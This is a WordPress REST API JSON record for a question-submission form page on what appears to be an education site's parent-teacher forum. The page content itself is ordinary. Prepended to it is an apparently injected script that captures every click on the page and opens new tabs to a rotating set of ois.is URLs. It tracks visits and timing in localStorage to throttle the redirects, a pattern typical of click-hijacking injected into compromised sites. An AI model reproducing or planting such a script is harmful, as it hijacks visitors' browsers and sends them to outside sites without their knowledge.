<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":872,"date":"2014-10-16T17:04:22","date_gmt":"2014-10-16T09:04:22","guid":{"rendered":"http:\/\/edu.secda.info\/peekaboo_lecturer\/?page_id=872"},"modified":"2016-01-20T15:12:05","modified_gmt":"2016-01-20T07:12:05","slug":"%e7%95%99%e8%a8%80%e6%9d%bf","status":"publish","type":"page","link":"https:\/\/edu.secda.info\/peekaboo_lecturer\/?page_id=872","title":{"rendered":"\u89aa\u5e2b\u4ea4\u6d41\u5340"},"content":{"rendered":"<div class=\"dwqa-container\" ><form method=\"post\" class=\"dwqa-content-edit-form\" enctype=\"multipart\/form-data\"><p class=\"dwqa-search\"><label for=\"question_title\">Title<\/label><input type=\"text\" data-nonce=\"c75d1b0ae0\" id=\"question-title\" name=\"question-title\" value=\"\" tabindex=\"1\"><\/p><p><div id=\"wp-question-content-wrap\" class=\"wp-core-ui wp-editor-wrap tmce-active\"><link rel='stylesheet' id='dashicons-css' href='https:\/\/edu.secda.info\/peekaboo_lecturer\/wp-includes\/css\/dashicons.min.css?ver=6.0.11' type='text\/css' media='all' \/><link rel='stylesheet' id='editor-buttons-css' href='https:\/\/edu.secda.info\/peekaboo_lecturer\/wp-includes\/css\/editor.min.css?ver=6.0.11' type='text\/css' media='all' \/><div id=\"wp-question-content-editor-tools\" class=\"wp-editor-tools hide-if-no-js\"><div class=\"wp-editor-tabs\"><button type=\"button\" id=\"question-content-tmce\" class=\"wp-switch-editor switch-tmce\" data-wp-editor-id=\"question-content\">\u9810\u89bd<\/button><button type=\"button\" id=\"question-content-html\" class=\"wp-switch-editor switch-html\" data-wp-editor-id=\"question-content\">\u6587\u5b57<\/button><\/div><\/div><div id=\"wp-question-content-editor-container\" class=\"wp-editor-container\"><div id=\"qt_question-content_toolbar\" class=\"quicktags-toolbar hide-if-no-js\"><\/div><textarea class=\"wp-editor-area\" rows=\"5\" autocomplete=\"off\" cols=\"40\" name=\"question-content\" id=\"question-content\"><\/textarea><\/div><\/div><\/p><p><label for=\"question-status\">\u72c0\u614b<\/label><select class=\"dwqa-select\" id=\"question-status\" name=\"question-status\"><optgroup label=\"Who can see this?\"><option value=\"publish\">\u767c\u5e03<\/option><option value=\"private\">Only Me &amp; Admin<\/option><\/optgroup><\/select><\/p><p><label for=\"question-category\">\u5206\u985e<\/label><select name='question-category' id='question-category' class='postform' ><option value='-1'>\u9078\u64c7\u554f\u984c\u5206\u985e<\/option><option class=\"level-0\" value=\"44\">Questions<\/option><\/select><\/p><p><label for=\"question-tag\">Tag<\/label><input type=\"text\" class=\"\" name=\"question-tag\" value=\"\" ><\/p><p><label for=\"_dwqa_anonymous_email\">Your Email<\/label><input type=\"email\" class=\"\" name=\"_dwqa_anonymous_email\" value=\"\" ><\/p><p><label for=\"_dwqa_anonymous_name\">Your Name<\/label><input type=\"text\" class=\"\" name=\"_dwqa_anonymous_name\" value=\"\" ><\/p><input type=\"hidden\" id=\"_wpnonce\" name=\"_wpnonce\" value=\"6d3c590243\" \/><input type=\"hidden\" name=\"_wp_http_referer\" value=\"\/peekaboo_lecturer\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F872\" \/><input type=\"submit\" name=\"dwqa-question-submit\" value=\"Submit\" ><\/form><\/div>\n","protected":false},"excerpt":{"rendered":"<div class=\"dwqa-container\" ><form method=\"post\" class=\"dwqa-content-edit-form\" enctype=\"multipart\/form-data\"><p class=\"dwqa-search\"><label for=\"question_title\">Title<\/label><input type=\"text\" data-nonce=\"c75d1b0ae0\" id=\"question-title\" name=\"question-title\" value=\"\" tabindex=\"1\"><\/p><p><div id=\"wp-question-content-wrap\" class=\"wp-core-ui wp-editor-wrap tmce-active\"><div id=\"wp-question-content-editor-tools\" class=\"wp-editor-tools hide-if-no-js\"><div class=\"wp-editor-tabs\"><button type=\"button\" id=\"question-content-tmce\" class=\"wp-switch-editor switch-tmce\" data-wp-editor-id=\"question-content\">\u9810\u89bd<\/button><button type=\"button\" id=\"question-content-html\" class=\"wp-switch-editor switch-html\" data-wp-editor-id=\"question-content\">\u6587\u5b57<\/button><\/div><\/div><div id=\"wp-question-content-editor-container\" class=\"wp-editor-container\"><div id=\"qt_question-content_toolbar\" class=\"quicktags-toolbar hide-if-no-js\"><\/div><textarea class=\"wp-editor-area\" rows=\"5\" autocomplete=\"off\" cols=\"40\" name=\"question-content\" id=\"question-content\"><\/textarea><\/div><\/div><\/p><p><label for=\"question-status\">\u72c0\u614b<\/label><select class=\"dwqa-select\" id=\"question-status\" name=\"question-status\"><optgroup label=\"Who can see this?\"><option value=\"publish\">\u767c\u5e03<\/option><option value=\"private\">Only Me &amp; Admin<\/option><\/optgroup><\/select><\/p><p><label for=\"question-category\">\u5206\u985e<\/label><select name='question-category' id='question-category' class='postform' ><option value='-1'>\u9078\u64c7\u554f\u984c\u5206\u985e<\/option><option class=\"level-0\" value=\"44\">Questions<\/option><\/select><\/p><p><label for=\"question-tag\">Tag<\/label><input type=\"text\" class=\"\" name=\"question-tag\" value=\"\" ><\/p><p><label for=\"_dwqa_anonymous_email\">Your Email<\/label><input type=\"email\" class=\"\" name=\"_dwqa_anonymous_email\" value=\"\" ><\/p><p><label for=\"_dwqa_anonymous_name\">Your Name<\/label><input type=\"text\" class=\"\" name=\"_dwqa_anonymous_name\" value=\"\" ><\/p><input type=\"hidden\" id=\"_wpnonce\" name=\"_wpnonce\" value=\"6d3c590243\" \/><input type=\"hidden\" name=\"_wp_http_referer\" value=\"\/peekaboo_lecturer\/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F872\" \/><input type=\"submit\" name=\"dwqa-question-submit\" value=\"Submit\" ><\/form><\/div>\n","protected":false},"author":1,"featured_media":0,"parent":1448,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0},"_links":{"self":[{"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=\/wp\/v2\/pages\/872"}],"collection":[{"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=872"}],"version-history":[{"count":4,"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=\/wp\/v2\/pages\/872\/revisions"}],"predecessor-version":[{"id":1461,"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=\/wp\/v2\/pages\/872\/revisions\/1461"}],"up":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=\/wp\/v2\/pages\/1448"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/peekaboo_lecturer\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=872"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}